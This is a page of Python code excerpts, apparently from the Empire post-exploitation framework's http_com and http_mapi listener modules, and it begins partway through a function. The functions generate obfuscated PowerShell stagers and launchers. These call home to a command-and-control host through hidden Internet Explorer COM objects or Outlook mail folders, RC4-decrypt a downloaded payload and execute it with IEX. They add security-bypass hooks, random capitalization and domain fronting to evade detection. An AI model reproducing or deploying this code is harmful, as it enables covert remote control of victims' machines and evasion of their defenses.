                    headers += "%s: %s" % (headerKey, headerValue)
                stager = stager.replace(
                    "$customHeaders = \"\";",
                    "$customHeaders = \"" + headers + "\";")

            # patch the server and key information
            stager = stager.replace('REPLACE_SERVER', host)
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('index.jsp', stage1)
            stager = stager.replace('index.php', stage2)

            # patch in working hours, if any
            if workingHours != "":
                stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)

            randomizedStager = ''
            stagingKey = stagingKey.encode('UTF-8')

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    # randomize capitalization of lines without quoted strings
                    if "\"" not in line:
                        randomizedStager += helpers.randomize_capitalization(
                            line)
                    else:
                        randomizedStager += line

            if obfuscate:
                randomizedStager = helpers.obfuscate(
                    self.mainMenu.installPath,
                    randomizedStager,
                    obfuscationCommand=obfuscationCommand)
            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(randomizedStager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV + stagingKey,
                                              randomizedStager.encode('UTF-8'))
            else:
                # otherwise just return the case-randomized stager
                return randomizedStager

        else:
            print(
                helpers.color(
                    "[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module."
                ))
Esempio n. 7
0
    def generate_launcher(self,
                          encode=True,
                          obfuscate=False,
                          obfuscationCommand="",
                          userAgent='default',
                          proxy='default',
                          proxyCreds='default',
                          stagerRetries='0',
                          language=None,
                          safeChecks='',
                          listenerName=None,
                          bypasses: List[str] = None):
        """
        Generate a basic launcher for the specified listener.
        """
        bypasses = [] if bypasses is None else bypasses
        if not language:
            print(
                helpers.color(
                    '[!] listeners/http_com generate_launcher(): no language specified!'
                ))

        if listenerName and (listenerName in self.threads) and (
                listenerName in self.mainMenu.listeners.activeListeners):

            # extract the set options for this instantiated listener
            listenerOptions = self.mainMenu.listeners.activeListeners[
                listenerName]['options']
            host = listenerOptions['Host']['Value']
            launcher = listenerOptions['Launcher']['Value']
            stagingKey = listenerOptions['StagingKey']['Value']
            profile = listenerOptions['DefaultProfile']['Value']
            requestHeader = listenerOptions['RequestHeader']['Value']
            uris = [a for a in profile.split('|')[0].split(',')]
            stage0 = random.choice(uris)
            customHeaders = profile.split('|')[2:]

            if language.startswith('po'):
                # PowerShell

                stager = '$ErrorActionPreference = \"SilentlyContinue\";'
                if safeChecks.lower() == 'true':
                    stager = helpers.randomize_capitalization(
                        "If($PSVersionTable.PSVersion.Major -ge 3){")
                    for bypass in bypasses:
                        stager += bypass
                    stager += "};"
                    stager += helpers.randomize_capitalization(
                        "[System.Net.ServicePointManager]::Expect100Continue=0;"
                    )

                # TODO: reimplement stager retries?

                # check if we're using IPv6
                listenerOptions = copy.deepcopy(listenerOptions)
                bindIP = listenerOptions['BindIP']['Value']
                port = listenerOptions['Port']['Value']
                if ':' in bindIP:
                    if "http" in host:
                        if "https" in host:
                            host = 'https://' + '[' + str(
                                bindIP) + ']' + ":" + str(port)
                        else:
                            host = 'http://' + '[' + str(
                                bindIP) + ']' + ":" + str(port)

                # code to turn the key string into a byte array
                stager += helpers.randomize_capitalization(
                    "$" + helpers.generate_random_script_var_name("K") +
                    "=[System.Text.Encoding]::ASCII.GetBytes(")
                stager += "'%s');" % (stagingKey)

                # this is the minimized RC4 stager code from rc4.ps1
                stager += helpers.randomize_capitalization(
                    '$R={$D,$' + helpers.generate_random_script_var_name("K") +
                    '=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$' +
                    helpers.generate_random_script_var_name("K") + '[$_%$' +
                    helpers.generate_random_script_var_name("K") +
                    '.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};'
                )

                # prebuild the request routing packet for the launcher
                routingPacket = packets.build_routing_packet(
                    stagingKey,
                    sessionID='00000000',
                    language='POWERSHELL',
                    meta='STAGE0',
                    additional='None',
                    encData='')
                b64RoutingPacket = base64.b64encode(routingPacket)

                stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;"
                stager += "$ser=" + helpers.obfuscate_call_home_address(
                    host) + ";$t='" + stage0 + "';"

                # add the RC4 packet to a header location
                stager += "$c=\"%s: %s" % (requestHeader, b64RoutingPacket)

                # Add custom headers if any
                modifyHost = False
                if customHeaders != []:
                    for header in customHeaders:
                        headerKey = header.split(':')[0]
                        headerValue = header.split(':')[1]

                        if headerKey.lower() == "host":
                            modifyHost = True

                        stager += "`r`n%s: %s" % (headerKey, headerValue)

                stager += "\";"
                # If host header defined, assume domain fronting is in use and add a call to the base URL first
                # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
                if modifyHost:
                    stager += helpers.randomize_capitalization(
                        "$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};"
                    )

                stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);"
                stager += "while($ie.busy){Start-Sleep -Milliseconds 100};"
                stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;"
                stager += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}"
                stager += helpers.randomize_capitalization(
                    "$iv=$data[0..3];$data=$data[4..$data.length];")

                # decode everything and kick it over to IEX to kick off execution
                stager += helpers.randomize_capitalization(
                    "-join[Char[]](& $R $data ($IV+$" +
                    helpers.generate_random_script_var_name("K") + ")) | IEX")

                if obfuscate:
                    stager = helpers.obfuscate(
                        self.mainMenu.installPath,
                        stager,
                        obfuscationCommand=obfuscationCommand)
                # base64 encode the stager and return it
                if encode and ((not obfuscate) or
                               ("launcher" not in obfuscationCommand.lower())):
                    return helpers.powershell_launcher(stager, launcher)
                else:
                    # otherwise return the case-randomized stager
                    return stager

            else:
                print(
                    helpers.color(
                        "[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module."
                    ))

        else:
            print(
                helpers.color(
                    "[!] listeners/http_com generate_launcher(): invalid listener name specification!"
                ))
Esempio n. 8
0
    def generate_stager(self,
                        listenerOptions,
                        encode=False,
                        encrypt=True,
                        language="powershell"):
        """
        Generate the stager code needed for communications with this listener.
        """

        #if not language:
        #    print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!')
        #    return None

        profile = listenerOptions['DefaultProfile']['Value']
        uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
        stagingKey = listenerOptions['StagingKey']['Value']
        host = listenerOptions['Host']['Value']
        workingHours = listenerOptions['WorkingHours']['Value']
        folder = listenerOptions['Folder']['Value']

        if language.lower() == 'powershell':

            # read in the stager base
            f = open("%s/data/agent/stagers/http_mapi.ps1" %
                     (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            # Get the random function name generated at install and patch the stager with the proper function name
            stager = data_util.keyword_obfuscation(stager)

            # make sure the server ends with "/"
            if not host.endswith("/"):
                host += "/"

            # patch the server and key information
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('REPLACE_FOLDER', folder)

            # patch in working hours if any
            if workingHours != "":
                stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)

            randomizedStager = ''

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    # randomize capitalization of lines without quoted strings
                    if "\"" not in line:
                        randomizedStager += helpers.randomize_capitalization(
                            line)
                    else:
                        randomizedStager += line

            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(randomizedStager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV + stagingKey,
                                              randomizedStager)
            else:
                # otherwise just return the case-randomized stager
                return randomizedStager
        else:
            print(
                helpers.color(
                    "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module."
                ))
Esempio n. 9
0
    def generate_launcher(self,
                          encode=True,
                          obfuscate=False,
                          obfuscationCommand="",
                          userAgent='default',
                          proxy='default',
                          proxyCreds='default',
                          stagerRetries='0',
                          language=None,
                          safeChecks='',
                          listenerName=None,
                          bypasses: List[str] = None):
        """
        Generate a basic launcher for the specified listener.
        """
        bypasses = [] if bypasses is None else bypasses

        if not language:
            print(
                helpers.color(
                    '[!] listeners/http generate_launcher(): no language specified!'
                ))

        if listenerName and (listenerName in self.threads) and (
                listenerName in self.mainMenu.listeners.activeListeners):

            # extract the set options for this instantiated listener
            listenerOptions = self.mainMenu.listeners.activeListeners[
                listenerName]['options']
            host = listenerOptions['Host']['Value']
            stagingKey = listenerOptions['StagingKey']['Value']
            profile = listenerOptions['DefaultProfile']['Value']
            launcher = listenerOptions['Launcher']['Value']
            uris = [a for a in profile.split('|')[0].split(',')]
            stage0 = random.choice(uris)

            if language.startswith('po'):
                # PowerShell

                stager = '$ErrorActionPreference = \"SilentlyContinue\";'
                if safeChecks.lower() == 'true':
                    stager = helpers.randomize_capitalization(
                        "If($PSVersionTable.PSVersion.Major -ge 3){")
                    for bypass in bypasses:
                        stager += bypass
                    stager += "};"
                    stager += helpers.randomize_capitalization(
                        'Add-Type -assembly "Microsoft.Office.Interop.Outlook";'
                    )
                    stager += "$" + helpers.generate_random_script_var_name(
                        "GPF"
                    ) + " = New-Object -comobject Outlook.Application;"
                    stager += helpers.randomize_capitalization(
                        '$mapi = $' +
                        helpers.generate_random_script_var_name("GPF") +
                        '.GetNameSpace("')
                    stager += 'MAPI");'
                    if listenerOptions['Email']['Value'] != '':
                        stager += '$fld = $' + helpers.generate_random_script_var_name(
                            "GPF"
                        ) + '.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[
                            'Email'][
                                'Value'] + '"} | %{$_.Folders.Item(2).Folders.Item("' + listenerOptions[
                                    'Folder']['Value'] + '")};'
                        stager += '$fldel = $' + helpers.generate_random_script_var_name(
                            "GPF"
                        ) + '.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[
                            'Email']['Value'] + '"} | %{$_.Folders.Item(3)};'
                    else:
                        stager += '$fld = $' + helpers.generate_random_script_var_name(
                            "GPF"
                        ) + '.Session.GetDefaultFolder(6).Folders.Item("' + listenerOptions[
                            'Folder']['Value'] + '");'
                        stager += '$fldel = $' + helpers.generate_random_script_var_name(
                            "GPF") + '.Session.GetDefaultFolder(3);'
                # clear out all existing mails/messages

                stager += helpers.randomize_capitalization(
                    "while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}"
                )
                # code to turn the key string into a byte array
                stager += helpers.randomize_capitalization(
                    "$K=[System.Text.Encoding]::ASCII.GetBytes(")
                stager += "'%s');" % (stagingKey)

                # this is the minimized RC4 stager code from rc4.ps1
                stager += helpers.randomize_capitalization(
                    '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};'
                )

                # prebuild the request routing packet for the launcher
                routingPacket = packets.build_routing_packet(
                    stagingKey,
                    sessionID='00000000',
                    language='POWERSHELL',
                    meta='STAGE0',
                    additional='None',
                    encData='')
                b64RoutingPacket = base64.b64encode(routingPacket)

                # add the RC4 packet to a cookie
                stager += helpers.randomize_capitalization(
                    '$mail = $' +
                    helpers.generate_random_script_var_name("GPF") +
                    '.CreateItem(0);$mail.Subject = "')
                stager += 'mailpireout";'
                stager += helpers.randomize_capitalization('$mail.Body = ')
                stager += '"STAGE - %s"' % b64RoutingPacket
                stager += helpers.randomize_capitalization(
                    ';$mail.save() | out-null;')
                stager += helpers.randomize_capitalization(
                    '$mail.Move($fld)| out-null;')
                stager += helpers.randomize_capitalization(
                    '$break = $False; $data = "";')
                stager += helpers.randomize_capitalization(
                    "While ($break -ne $True){")
                stager += helpers.randomize_capitalization(
                    '$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;'
                )
                stager += helpers.randomize_capitalization(
                    '$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}'
                )

                stager += helpers.randomize_capitalization(
                    "$iv=$data[0..3];$data=$data[4..$data.length];")

                # decode everything and kick it over to IEX to kick off execution
                stager += helpers.randomize_capitalization(
                    "-join[Char[]](& $R $data ($IV+$K))|IEX")

                if obfuscate:
                    stager = helpers.obfuscate(
                        self.mainMenu.installPath,
                        stager,
                        obfuscationCommand=obfuscationCommand)

                # base64 encode the stager and return it
                if encode and ((not obfuscate) or
                               ("launcher" not in obfuscationCommand.lower())):
                    return helpers.powershell_launcher(stager, launcher)
                else:
                    # otherwise return the case-randomized stager
                    return stager
            else:
                print(
                    helpers.color(
                        "[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module."
                    ))

        else:
            print(
                helpers.color(
                    "[!] listeners/http_mapi generate_launcher(): invalid listener name specification!"
                ))